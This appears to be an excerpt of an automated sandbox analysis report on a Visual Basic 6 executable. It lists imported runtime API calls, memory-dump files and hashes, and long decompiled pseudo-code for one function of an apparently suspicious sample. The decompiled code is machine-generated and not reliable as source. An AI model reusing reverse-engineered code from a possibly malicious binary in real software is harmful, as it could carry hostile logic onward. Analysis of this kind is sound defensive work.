        0x0040b9b8
        0x0040b9be
        0x0040b9c2
        0x0040b9d0
        0x0040b9d3
        0x0040b9d5
        0x0040b9d8
        0x0040b9dc
        0x0040b9f5
        0x0040b9f5
        0x0040b9f5
        0x0040b9de
        0x0040b9de
        0x0040b9e0
        0x0040b9e5
        0x0040b9e8
        0x0040b9eb
        0x0040b9f0
        0x0040b9f0
        0x0040b9fc
        0x0040b9fc
        0x0040ba01
        0x0040ba02
        0x0040ba15
        0x0040ba1d
        0x0040ba22
        0x0040b3c7
        0x0040b3c7
        0x00000000
        0x0040b3c7
        0x00000000
        0x0040b3c1
        0x0040b89e
        0x0040b8a0
        0x0040b8f0
        0x0040b8f3
        0x0040b8f4
        0x0040b8f6
        0x0040b8fe
        0x0040b903
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040AA12
        • __vbaVarDup.MSVBVM60 ref: 0040AA5E
        • #544.MSVBVM60(?,?), ref: 0040AA6E
        • __vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 0040AA95
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 0040AAAE
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,00401196), ref: 0040AAD8
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040AB11
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401CC4,00000108), ref: 0040AB5B
        • __vbaNew2.MSVBVM60(00401CF4,0040D33C), ref: 0040AB82
        • __vbaChkstk.MSVBVM60(?), ref: 0040ABE6
        • __vbaChkstk.MSVBVM60(?), ref: 0040ABF7
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401CE4,00000038), ref: 0040AC3D
        • __vbaVar2Vec.MSVBVM60(?,?), ref: 0040AC5F
        • __vbaAryMove.MSVBVM60(?,?,?,?), ref: 0040AC6F
        • __vbaFreeObj.MSVBVM60(?,?,?,?), ref: 0040AC77
        • __vbaFreeVarList.MSVBVM60(00000002,00000008,?,?,?,?,?), ref: 0040AC89
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,00401196), ref: 0040ACA4
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040ACDD
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D04,00000158), ref: 0040AD27
        • __vbaFreeStr.MSVBVM60 ref: 0040AD89
        • __vbaFreeObj.MSVBVM60 ref: 0040AD91
        • __vbaNew2.MSVBVM60(00401F24,0040D010), ref: 0040ADA9
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040ADE2
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D04,000000F8), ref: 0040AE2C
        • __vbaNew2.MSVBVM60(00401F24,0040D010), ref: 0040AE53
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040AE8C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D14,00000088), ref: 0040AED9
        • __vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?), ref: 0040AF4E
        • __vbaFreeVar.MSVBVM60(?,?,?,?,?,00401196), ref: 0040AF59
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?,?,00401196), ref: 0040AF71
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040AFAA
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D24,00000170), ref: 0040AFF4
        • __vbaVarMove.MSVBVM60 ref: 0040B06C
        • __vbaFreeObj.MSVBVM60 ref: 0040B074
        • __vbaFreeVar.MSVBVM60 ref: 0040B07C
        • __vbaHresultCheckObj.MSVBVM60(00000000,004010F8,00401B44,000006F8), ref: 0040B0B8
        • __vbaNew2.MSVBVM60(00401F24,0040D010), ref: 0040B0E8
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040B121
        • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00401D14,00000050), ref: 0040B168
        • __vbaNew2.MSVBVM60(00401F24,0040D010), ref: 0040B18F
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040B1C8
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D24,00000078), ref: 0040B20F
        • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040B266
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?,?,?,?,?,00401196), ref: 0040B281
        • __vbaObjSet.MSVBVM60(?,00000000), ref: 0040B2BA
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00401D24,00000068), ref: 0040B301
        • __vbaFreeObj.MSVBVM60(?,?), ref: 0040B353
        • __vbaHresultCheckObj.MSVBVM60(00000000,004010F8,00401B14,000002B4,?,?), ref: 0040B38A
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?), ref: 0040B3EC
        • __vbaObjSet.MSVBVM60(?,00000000,?,?), ref: 0040B425
        • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00401D34,00000218,?,?), ref: 0040B46F
        • __vbaNew2.MSVBVM60(00401F24,0040D010,?,?,?,?), ref: 0040B496
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?), ref: 0040B4CF
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckHresult$FreeNew2$List$Chkstk$Move$#544Var2
        • String ID: 19:19:19
        • API String ID: 2805188520-362381601
        • Opcode ID: 74a518b49e07e725922341ccf4bdc8a0676afc1d7492f3d83478e81a9c3dee7b
        • Instruction ID: 277de4c286f9020d2a664f94911a4cfb75d0060a3357e29bfb9621874fe92b6b
        • Opcode Fuzzy Hash: 74a518b49e07e725922341ccf4bdc8a0676afc1d7492f3d83478e81a9c3dee7b
        • Instruction Fuzzy Hash: D792E574940219DFDB20DF90CC45BDDB7B8BB08304F1085EAE509BB2A1DB795A89DF98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 60%
        			E0040A9F6(void* __ebx, void* __edi, void* __esi, signed int _a8) {
        				signed int _v4;
        				intOrPtr _v8;
        				char** _v12;
        				intOrPtr _v24;
        				signed int _v28;
        				intOrPtr _v32;
        				intOrPtr _v36;
        				char _v40;
        				signed int _v44;
        				signed int _v48;
        				char _v52;
        				signed int* _v56;
        				signed int _v60;
        				void* _v72;
        				long long _v80;
        				char* _v84;
        				signed int _v88;
        				char _v92;
        				signed int _v96;
        				char _v100;
        				intOrPtr _v108;
        				char _v116;
        				char _v132;
        				char _v152;
        				char* _v160;
        				char _v168;
        				intOrPtr _v176;
        				char _v184;
        				char _v188;
        				void* _v192;
        				char* _v196;
        				char _v200;
        				char _v204;
        				char _v208;
        				char _v212;
        				char _v216;
        				intOrPtr _v220;
        				char _v224;
        				intOrPtr _v228;
        				char _v232;
        				signed int _v236;
        				signed int _v240;
        				signed int _v244;
        				signed int _v248;
        				intOrPtr* _v252;
        				signed int _v256;
        				signed int _v260;
        				intOrPtr _v264;
        				intOrPtr _v268;
        				signed int _v280;
        				signed int _v284;
        				signed int _v288;
        				void* _v292;
        				intOrPtr* _v296;
        				signed int _v300;
        				signed int* _v304;
        				signed int _v308;
        				intOrPtr* _v312;
        				signed int _v316;
        				intOrPtr* _v320;
        				signed int _v324;
        				intOrPtr* _v328;
        				signed int _v332;
        				intOrPtr* _v336;
        				signed int _v340;
        				signed int _v344;
        				intOrPtr* _v348;
        				signed int _v352;
        				intOrPtr* _v356;
        				signed int _v360;
        				intOrPtr* _v364;
        				signed int _v368;
        				signed int _v372;
        				intOrPtr* _v376;
        				signed int _v380;
        				intOrPtr* _v384;
        				signed int _v388;
        				intOrPtr* _v392;
        				signed int _v396;
        				signed int _v400;
        				intOrPtr* _v404;
        				signed int _v408;
        				signed int _v412;
        				signed int _v416;
        				void* _v436;
        				intOrPtr _v452;
        				char** _v456;
        				void* _v468;
        				signed int _t485;
        				signed int _t492;
        				signed int _t496;
        				signed int _t508;
        				signed int _t512;
        				signed int _t516;
        				signed int _t520;
        				signed int _t533;
        				signed int _t537;
        				signed int _t549;
        				signed int _t554;
        				signed int _t558;
        				signed int _t562;
        				signed int _t566;
        				signed int _t578;
        				signed int _t582;
        				signed int _t590;
        				char* _t593;
        				signed int _t597;
        				signed int _t601;
        				signed int _t605;
        				signed int _t609;
        				char* _t613;
        				signed int _t617;
        				signed int _t627;
        				signed int _t634;
        				signed int _t638;
        				signed int _t643;
        				signed int _t649;
        				signed int _t653;
        				signed int _t655;
        				signed int _t657;
        				char* _t658;
        				signed int _t664;
        				signed int _t668;
        				signed int _t678;
        				void* _t685;
        				intOrPtr _t697;
        				intOrPtr _t713;
        				intOrPtr _t726;
        				intOrPtr _t730;
        				char* _t731;
        				char** _t745;
        				char* _t750;
        				void* _t755;
        				char** _t756;
        				char** _t757;
        				char** _t758;
        				char** _t759;
        
        				_t685 = __ebx;
        				asm("in al, dx");
        				_t756 = _t755 - 0xc;
        				 *[fs:0x0] = _t756;
        				L00401190();
        				_v12 = _t756;
        				_v8 = 0x4010f8;
        				_v4 = _a8 & 0x00000001;
        				_a8 = _a8 & 0xfffffffe;
        				 *((intOrPtr*)( *_a8 + 4))(_a8, __edi, __esi, __ebx,  *[fs:0x0], 0x401196);
        				_v160 = L"19:19:19";
        				_v168 = 8;
        				L00401298();
        				_push( &_v116);
        				_push( &_v132); // executed
        				L0040129E(); // executed
        				_v176 = 0x13;
        				_v184 = 0x8002;
        				_push( &_v132);
        				_t485 =  &_v184;
        				_push(_t485);
        				L004012A4();
        				_v236 = _t485;
        				_push( &_v132);
        				_push( &_v116);
        				_push(2);
        				L00401292();
        				_t757 =  &(_t756[3]);
        				if(_v236 != 0) {
        					if( *0x40d010 != 0) {
        						_v296 = 0x40d010;
        					} else {
        						_push(0x40d010);
        						_push(0x401f24);
        						L00401286();
        						_v296 = 0x40d010;
        					}
        					_t664 =  &_v92;
        					L0040128C();
        					_v236 = _t664;
        					_t668 =  *((intOrPtr*)( *_v236 + 0x108))(_v236,  &_v88, _t664,  *((intOrPtr*)( *((intOrPtr*)( *_v296)) + 0x314))( *_v296));
        					asm("fclex");
        					_v240 = _t668;
        					if(_v240 >= 0) {
        						_t40 =  &_v300;
        						 *_t40 = _v300 & 0x00000000;
        						__eflags =  *_t40;
        					} else {
        						_push(0x108);
        						_push(0x401cc4);
        						_push(_v236);
        						_push(_v240);
        						L00401280();
        						_v300 = _t668;
        					}
        					if( *0x40d33c != 0) {
        						_v304 = 0x40d33c;
        					} else {
        						_push(0x40d33c);
        						_push(0x401cf4);
        						L00401286();
        						_v304 = 0x40d33c;
        					}
        					_v244 =  *_v304;
        					_v280 = _v88;
        					_v88 = _v88 & 0x00000000;
        					_v108 = _v280;
        					_v116 = 8;
        					_v160 = 0xe3;
        					_v168 = 2;
        					L00401190();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401190();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t678 =  *((intOrPtr*)( *_v244 + 0x38))(_v244, 0x10, 0x10,  &_v132);
        					asm("fclex");
        					_v248 = _t678;
        					if(_v248 >= 0) {
        						_t66 =  &_v308;
        						 *_t66 = _v308 & 0x00000000;
        						__eflags =  *_t66;
        					} else {
        						_push(0x38);
        						_push(0x401ce4);
        						_push(_v244);
        						_push(_v248);
        						L00401280();
        						_v308 = _t678;
        					}
        					_push( &_v132);
        					_push( &_v152);
        					L00401274();
        					_push( &_v152);
        					_push( &_v52);
        					L0040127A();
        					L0040126E();
        					_push( &_v132);
        					_push( &_v116);
        					_push(2);
        					L00401292();
        					_t757 =  &(_t757[3]);
        				}
        				if( *0x40d010 != 0) {
        					_v312 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v312 = 0x40d010;
        				}
        				_t492 =  &_v92;
        				L0040128C();
        				_v236 = _t492;
        				_t496 =  *((intOrPtr*)( *_v236 + 0x158))(_v236,  &_v88, _t492,  *((intOrPtr*)( *((intOrPtr*)( *_v312)) + 0x300))( *_v312));
        				asm("fclex");
        				_v240 = _t496;
        				if(_v240 >= 0) {
        					_t91 =  &_v316;
        					 *_t91 = _v316 & 0x00000000;
        					__eflags =  *_t91;
        				} else {
        					_push(0x158);
        					_push(0x401d04);
        					_push(_v236);
        					_push(_v240);
        					L00401280();
        					_v316 = _t496;
        				}
        				_v188 = 0x633;
        				_v196 = 0x1e68d1;
        				 *((intOrPtr*)( *_a8 + 0x70c))(_a8, _v88,  &_v196,  &_v188,  &_v216);
        				_v44 = _v216;
        				_v40 = _v212;
        				L00401268();
        				L0040126E();
        				if( *0x40d010 != 0) {
        					_v320 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v320 = 0x40d010;
        				}
        				_t508 =  &_v92;
        				L0040128C();
        				_v236 = _t508;
        				_t512 =  *((intOrPtr*)( *_v236 + 0xf8))(_v236,  &_v96, _t508,  *((intOrPtr*)( *((intOrPtr*)( *_v320)) + 0x300))( *_v320));
        				asm("fclex");
        				_v240 = _t512;
        				if(_v240 >= 0) {
        					_t124 =  &_v324;
        					 *_t124 = _v324 & 0x00000000;
        					__eflags =  *_t124;
        				} else {
        					_push(0xf8);
        					_push(0x401d04);
        					_push(_v236);
        					_push(_v240);
        					L00401280();
        					_v324 = _t512;
        				}
        				if( *0x40d010 != 0) {
        					_v328 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v328 = 0x40d010;
        				}
        				_t697 =  *((intOrPtr*)( *_v328));
        				_t516 =  &_v100;
        				L0040128C();
        				_v244 = _t516;
        				_t520 =  *((intOrPtr*)( *_v244 + 0x88))(_v244,  &_v196, _t516,  *((intOrPtr*)(_t697 + 0x310))( *_v328));
        				asm("fclex");
        				_v248 = _t520;
        				if(_v248 >= 0) {
        					_t142 =  &_v332;
        					 *_t142 = _v332 & 0x00000000;
        					__eflags =  *_t142;
        				} else {
        					_push(0x88);
        					_push(0x401d14);
        					_push(_v244);
        					_push(_v248);
        					L00401280();
        					_v332 = _t520;
        				}
        				_v200 =  *0x4010f0;
        				_v284 = _v96;
        				_v96 = _v96 & 0x00000000;
        				_v108 = _v284;
        				_v116 = 9;
        				 *_t757 = _v196;
        				 *_t757 =  *0x4010e8;
        				 *((intOrPtr*)( *_a8 + 0x710))(_a8,  &_v116, _t697, _t697,  &_v200, _t697);
        				_push( &_v100);
        				_push( &_v92);
        				_push(2);
        				L00401262();
        				_t758 =  &(_t757[3]);
        				L0040125C();
        				if( *0x40d010 != 0) {
        					_v336 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v336 = 0x40d010;
        				}
        				_t533 =  &_v92;
        				L0040128C();
        				_v236 = _t533;
        				_t537 =  *((intOrPtr*)( *_v236 + 0x170))(_v236,  &_v88, _t533,  *((intOrPtr*)( *((intOrPtr*)( *_v336)) + 0x30c))( *_v336));
        				asm("fclex");
        				_v240 = _t537;
        				if(_v240 >= 0) {
        					_t177 =  &_v340;
        					 *_t177 = _v340 & 0x00000000;
        					__eflags =  *_t177;
        				} else {
        					_push(0x170);
        					_push(0x401d24);
        					_push(_v236);
        					_push(_v240);
        					L00401280();
        					_v340 = _t537;
        				}
        				_v288 = _v88;
        				_v88 = _v88 & 0x00000000;
        				_v108 = _v288;
        				_v116 = 8;
        				_v216 = 0xc96ed9a0;
        				_v212 = 0x5b01;
        				 *((intOrPtr*)( *_a8 + 0x714))(_a8,  &_v216, 0x7cbc2ca0, 0x5afe,  &_v116,  &_v132);
        				L00401256();
        				L0040126E();
        				L0040125C();
        				_t549 =  *((intOrPtr*)( *_a8 + 0x6f8))(_a8,  &_v196);
        				_v236 = _t549;
        				if(_v236 >= 0) {
        					_t207 =  &_v344;
        					 *_t207 = _v344 & 0x00000000;
        					__eflags =  *_t207;
        				} else {
        					_push(0x6f8);
        					_push(0x401b44);
        					_push(_a8);
        					_push(_v236);
        					L00401280();
        					_v344 = _t549;
        				}
        				_v84 = _v196;
        				if( *0x40d010 != 0) {
        					_v348 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v348 = 0x40d010;
        				}
        				_t554 =  &_v92;
        				L0040128C();
        				_v236 = _t554;
        				_t558 =  *((intOrPtr*)( *_v236 + 0x50))(_v236,  &_v188, _t554,  *((intOrPtr*)( *((intOrPtr*)( *_v348)) + 0x310))( *_v348));
        				asm("fclex");
        				_v240 = _t558;
        				if(_v240 >= 0) {
        					_t227 =  &_v352;
        					 *_t227 = _v352 & 0x00000000;
        					__eflags =  *_t227;
        				} else {
        					_push(0x50);
        					_push(0x401d14);
        					_push(_v236);
        					_push(_v240);
        					L00401280();
        					_v352 = _t558;
        				}
        				if( *0x40d010 != 0) {
        					_v356 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v356 = 0x40d010;
        				}
        				_t562 =  &_v96;
        				L0040128C();
        				_v244 = _t562;
        				_t566 =  *((intOrPtr*)( *_v244 + 0x78))(_v244,  &_v196, _t562,  *((intOrPtr*)( *((intOrPtr*)( *_v356)) + 0x30c))( *_v356));
        				asm("fclex");
        				_v248 = _t566;
        				if(_v248 >= 0) {
        					_t245 =  &_v360;
        					 *_t245 = _v360 & 0x00000000;
        					__eflags =  *_t245;
        				} else {
        					_push(0x78);
        					_push(0x401d24);
        					_push(_v244);
        					_push(_v248);
        					L00401280();
        					_v360 = _t566;
        				}
        				_v200 = _v196;
        				 *((intOrPtr*)( *_a8 + 0x718))(_a8, _v188,  &_v200,  &_v192);
        				_v56 = _v192;
        				_push( &_v96);
        				_push( &_v92);
        				_push(2);
        				L00401262();
        				_t759 =  &(_t758[3]);
        				if( *0x40d010 != 0) {
        					_v364 = 0x40d010;
        				} else {
        					_push(0x40d010);
        					_push(0x401f24);
        					L00401286();
        					_v364 = 0x40d010;
        				}
        				_t713 =  *((intOrPtr*)( *_v364));
        				_t578 =  &_v92;
        				L0040128C();
        				_v236 = _t578;
        				_t582 =  *((intOrPtr*)( *_v236 + 0x68))(_v236,  &_v196, _t578,  *((intOrPtr*)(_t713 + 0x30c))( *_v364));
        				asm("fclex");
        				_v240 = _t582;
        				if(_v240 >= 0) {
        					_t275 =  &_v368;
        					 *_t275 = _v368 & 0x00000000;
        					__eflags =  *_t275;
        				} else {
        					_push(0x68);
        					_push(0x401d24);
        					_push(_v236);
        					_push(_v240);
        					L00401280();
        					_v368 = _t582;
        				}
        				_v216 =  *0x4010e0;
        				_v292 = _v196;
        				 *((intOrPtr*)( *_a8 + 0x71c))(_a8,  &_v216, _t713,  &_v224);
        				_v80 = _v224;
        				L0040126E();
        				_t590 =  *((intOrPtr*)( *_a8 + 0x2b4))(_a8);
        				asm("fclex");
        				_v236 = _t590;
        				if(_v236 >= 0) {
        					_t295 =  &_v372;
        					 *_t295 = _v372 & 0x00000000;
        					__eflags =  *_t295;
        				} else {
        					_push(0x2b4);
        					_push(0x401b14);
        					_push(_a8);
        					_push(_v236);
        					L00401280();
        					_v372 = _t590;
        				}
        				_v268 = 0x5ae61;
        				_v264 = 1;
        				_v28 = _v28 & 0x00000000;
        				while(_v28 <= _v268) {
        					if( *0x40d010 != 0) {
        						_v376 = 0x40d010;
        					} else {
        						_push(0x40d010);
        						_push(0x401f24);
        						L00401286();
        						_v376 = 0x40d010;
        					}
        					_t597 =  &_v92;
        					L0040128C();
        					_v236 = _t597;
        					_t601 =  *((intOrPtr*)( *_v236 + 0x218))(_v236,  &_v88, _t597,  *((intOrPtr*)( *((intOrPtr*)( *_v376)) + 0x308))( *_v376));
        					asm("fclex");
        					_v240 = _t601;
        					if(_v240 >= 0) {
        						_t322 =  &_v380;
        						 *_t322 = _v380 & 0x00000000;
        						__eflags =  *_t322;
        					} else {
        						_push(0x218);
        						_push(0x401d34);
        						_push(_v236);
        						_push(_v240);
        						L00401280();
        						_v380 = _t601;
        					}
        					if( *0x40d010 != 0) {
        						_v384 = 0x40d010;
        					} else {
        						_push(0x40d010);
        						_push(0x401f24);
        						L00401286();
        						_v384 = 0x40d010;
        					}
        					_t605 =  &_v96;
        					L0040128C();
        					_v244 = _t605;
        					_t609 =  *((intOrPtr*)( *_v244 + 0x138))(_v244,  &_v196, _t605,  *((intOrPtr*)( *((intOrPtr*)( *_v384)) + 0x30c))( *_v384));
        					asm("fclex");
        					_v248 = _t609;
        					if(_v248 >= 0) {
        						_t340 =  &_v388;
        						 *_t340 = _v388 & 0x00000000;
        						__eflags =  *_t340;
        					} else {
        						_push(0x138);
        						_push(0x401d24);
        						_push(_v244);
        						_push(_v248);
        						L00401280();
        						_v388 = _t609;
        					}
        					if( *0x40d010 != 0) {
        						_v392 = 0x40d010;
        					} else {
        						_push(0x40d010);
        						_push(0x401f24);
        						L00401286();
        						_v392 = 0x40d010;
        					}
        					_t726 =  *((intOrPtr*)( *_v392));
        					_t613 =  &_v100;
        					L0040128C();
        					_v252 = _t613;
        					_t617 =  *((intOrPtr*)( *_v252 + 0x188))(_v252,  &_v200, _t613,  *((intOrPtr*)(_t726 + 0x300))( *_v392));
        					asm("fclex");
        					_v256 = _t617;
        					if(_v256 >= 0) {
        						_t358 =  &_v396;
        						 *_t358 = _v396 & 0x00000000;
        						__eflags =  *_t358;
        					} else {
        						_push(0x188);
        						_push(0x401d04);
        						_push(_v252);
        						_push(_v256);
        						L00401280();
        						_v396 = _t617;
        					}
        					_v160 = _v196;
        					_v168 = 3;
        					_v292 = _v88;
        					_v88 = _v88 & 0x00000000;
        					_v108 = _v292;
        					_v116 = 8;
        					_v204 = 0x8227e0;
        					_v380 =  *0x4010d8;
        					L00401190();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					L00401190();
        					_t750 =  &_v116;
        					_t745 = _t759;
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t627 =  *((intOrPtr*)( *_a8 + 0x6fc))(_a8,  &_v204, 0x10, 0x10, _t726, _t726, _v200,  &_v208);
        					_v260 = _t627;
        					if(_v260 >= 0) {
        						_t384 =  &_v400;
        						 *_t384 = _v400 & 0x00000000;
        						__eflags =  *_t384;
        					} else {
        						_push(0x6fc);
        						_push(0x401b44);
        						_push(_a8);
        						_push(_v260);
        						L00401280();
        						_v400 = _t627;
        					}
        					_v24 = _v208;
        					_push( &_v100);
        					_push( &_v96);
        					_push( &_v92);
        					_push(3);
        					L00401262();
        					_t759 =  &(_t759[4]);
        					L0040125C();
        					if( *0x40d010 != 0) {
        						_v404 = 0x40d010;
        					} else {
        						_push(0x40d010);
        						_push(0x401f24);
        						L00401286();
        						_v404 = 0x40d010;
        					}
        					_t730 =  *((intOrPtr*)( *_v404));
        					_t634 =  &_v92;
        					L0040128C();
        					_v236 = _t634;
        					_t638 =  *((intOrPtr*)( *_v236 + 0x70))(_v236,  &_v196, _t634,  *((intOrPtr*)(_t730 + 0x310))( *_v404));
        					asm("fclex");
        					_v240 = _t638;
        					if(_v240 >= 0) {
        						_t408 =  &_v408;
        						 *_t408 = _v408 & 0x00000000;
        						__eflags =  *_t408;
        					} else {
        						_push(0x70);
        						_push(0x401d14);
        						_push(_v236);
        						_push(_v240);
        						L00401280();
        						_v408 = _t638;
        					}
        					_v224 =  *0x4010d0;
        					_v216 = 0x445fc8f0;
        					_v212 = 0x5af7;
        					 *_t759 = _v196;
        					_t643 =  *((intOrPtr*)( *_a8 + 0x700))(_a8,  &_v216, _t730,  &_v224, 0xf6292);
        					_v244 = _t643;
        					if(_v244 >= 0) {
        						_t424 =  &_v412;
        						 *_t424 = _v412 & 0x00000000;
        						__eflags =  *_t424;
        					} else {
        						_push(0x700);
        						_push(0x401b44);
        						_push(_a8);
        						_push(_v244);
        						L00401280();
        						_v412 = _t643;
        					}
        					_t731 =  &_v92;
        					L0040126E();
        					_v224 = 0xde5a6cd0;
        					_v220 = 0x5af7;
        					_v216 = 0xc72725d0;
        					_v212 = 0x5afc;
        					_t649 =  *((intOrPtr*)( *_a8 + 0x704))(_a8,  &_v216,  &_v224,  &_v232);
        					_v236 = _t649;
        					if(_v236 >= 0) {
        						_t442 =  &_v416;
        						 *_t442 = _v416 & 0x00000000;
        						__eflags =  *_t442;
        					} else {
        						_push(0x704);
        						_push(0x401b44);
        						_push(_a8);
        						_push(_v236);
        						L00401280();
        						_v416 = _t649;
        					}
        					_v36 = _v232;
        					_v32 = _v228;
        					_t653 = _v28 + _v264;
        					if(_t653 < 0) {
        						L0040124A();
        						_push(_t731);
        						_push(_t731);
        						_push(0x401196);
        						_push( *[fs:0x0]);
        						 *[fs:0x0] = _t759;
        						_t655 = 0x28;
        						L00401190();
        						_push(_t685);
        						_push(_t750);
        						_push(_t745);
        						_v456 = _t759;
        						_v452 = 0x401110;
        						L00401244();
        						asm("fldz");
        						L00401214();
        						L0040123E();
        						asm("fcomp qword [0x401108]");
        						asm("fnstsw ax");
        						asm("sahf");
        						if(__eflags != 0) {
        							__eflags =  *0x40d33c;
        							if( *0x40d33c != 0) {
        								_v56 = 0x40d33c;
        							} else {
        								_push(0x40d33c);
        								_push(0x401cf4);
        								L00401286();
        								_v56 = 0x40d33c;
        							}
        							_t657 =  *_v56;
        							_v44 = _t657;
        							L00401238();
        							_t658 =  &_v40;
        							L0040128C();
        							_t655 =  *((intOrPtr*)( *_v44 + 0x40))(_v44, _t658, _t658, _t657, _v28, 0x401d5c, L"Filmbyer");
        							asm("fclex");
        							_v48 = _t655;
        							__eflags = _v48;
        							if(_v48 >= 0) {
        								_t468 =  &_v60;
        								 *_t468 = _v60 & 0x00000000;
        								__eflags =  *_t468;
        							} else {
        								_push(0x40);
        								_push(0x401ce4);
        								_push(_v44);
        								_push(_v48);
        								L00401280();
        								_v60 = _t655;
        							}
        							L0040126E();
        						}
        						asm("wait");
        						_push(E0040BA23);
        						L00401268();
        						L0040126E();
        						return _t655;
        					} else {
        						_v28 = _t653;
        						continue;
        					}
        					L113:
        				}
        				 *((intOrPtr*)(0x278498 + _v308))(0x19129e);
        				_push(E0040B904);
        				_t593 =  &_v52;
        				_push(_t593);
        				_push(0);
        				L00401250();
        				L0040125C();
        				return _t593;
        				goto L113;
        			}












































































































































        0x0040a9f6
        0x0040a9f6
        0x0040a9f7
        0x0040aa06
        0x0040aa12
        0x0040aa1a
        0x0040aa1d
        0x0040aa2a
        0x0040aa33
        0x0040aa3e
        0x0040aa41
        0x0040aa4b
        0x0040aa5e
        0x0040aa66
        0x0040aa6d
        0x0040aa6e
        0x0040aa73
        0x0040aa7d
        0x0040aa8d
        0x0040aa8e
        0x0040aa94
        0x0040aa95
        0x0040aa9a
        0x0040aaa7
        0x0040aaab
        0x0040aaac
        0x0040aaae
        0x0040aab3
        0x0040aabf
        0x0040aacc
        0x0040aae9
        0x0040aace
        0x0040aace
        0x0040aad3
        0x0040aad8
        0x0040aadd
        0x0040aadd
        0x0040ab0d
        0x0040ab11
        0x0040ab16
        0x0040ab2e
        0x0040ab34
        0x0040ab36
        0x0040ab43
        0x0040ab68
        0x0040ab68
        0x0040ab68
        0x0040ab45
        0x0040ab45
        0x0040ab4a
        0x0040ab4f
        0x0040ab55
        0x0040ab5b
        0x0040ab60
        0x0040ab60
        0x0040ab76
        0x0040ab93
        0x0040ab78
        0x0040ab78
        0x0040ab7d
        0x0040ab82
        0x0040ab87
        0x0040ab87
        0x0040aba5
        0x0040abae
        0x0040abb4
        0x0040abbe
        0x0040abc1
        0x0040abc8
        0x0040abd2
        0x0040abe6
        0x0040abf0
        0x0040abf1
        0x0040abf2
        0x0040abf3
        0x0040abf7
        0x0040ac04
        0x0040ac05
        0x0040ac06
        0x0040ac07
        0x0040ac16
        0x0040ac19
        0x0040ac1b
        0x0040ac28
        0x0040ac4a
        0x0040ac4a
        0x0040ac4a
        0x0040ac2a
        0x0040ac2a
        0x0040ac2c
        0x0040ac31
        0x0040ac37
        0x0040ac3d
        0x0040ac42
        0x0040ac42
        0x0040ac57
        0x0040ac5e
        0x0040ac5f
        0x0040ac6a
        0x0040ac6e
        0x0040ac6f
        0x0040ac77
        0x0040ac82
        0x0040ac86
        0x0040ac87
        0x0040ac89
        0x0040ac8e
        0x0040ac8e
        0x0040ac98
        0x0040acb5
        0x0040ac9a
        0x0040ac9a
        0x0040ac9f
        0x0040aca4
        0x0040aca9
        0x0040aca9
        0x0040acd9
        0x0040acdd
        0x0040ace2
        0x0040acfa
        0x0040ad00
        0x0040ad02
        0x0040ad0f
        0x0040ad34
        0x0040ad34
        0x0040ad34
        0x0040ad11
        0x0040ad11
        0x0040ad16
        0x0040ad1b
        0x0040ad21
        0x0040ad27
        0x0040ad2c
        0x0040ad2c
        0x0040ad3b
        0x0040ad44
        0x0040ad6e
        0x0040ad7a
        0x0040ad83
        0x0040ad89
        0x0040ad91
        0x0040ad9d
        0x0040adba
        0x0040ad9f
        0x0040ad9f
        0x0040ada4
        0x0040ada9
        0x0040adae
        0x0040adae
        0x0040adde
        0x0040ade2
        0x0040ade7
        0x0040adff
        0x0040ae05
        0x0040ae07
        0x0040ae14
        0x0040ae39
        0x0040ae39
        0x0040ae39
        0x0040ae16
        0x0040ae16
        0x0040ae1b
        0x0040ae20
        0x0040ae26
        0x0040ae2c
        0x0040ae31
        0x0040ae31
        0x0040ae47
        0x0040ae64
        0x0040ae49
        0x0040ae49
        0x0040ae4e
        0x0040ae53
        0x0040ae58
        0x0040ae58
        0x0040ae7e
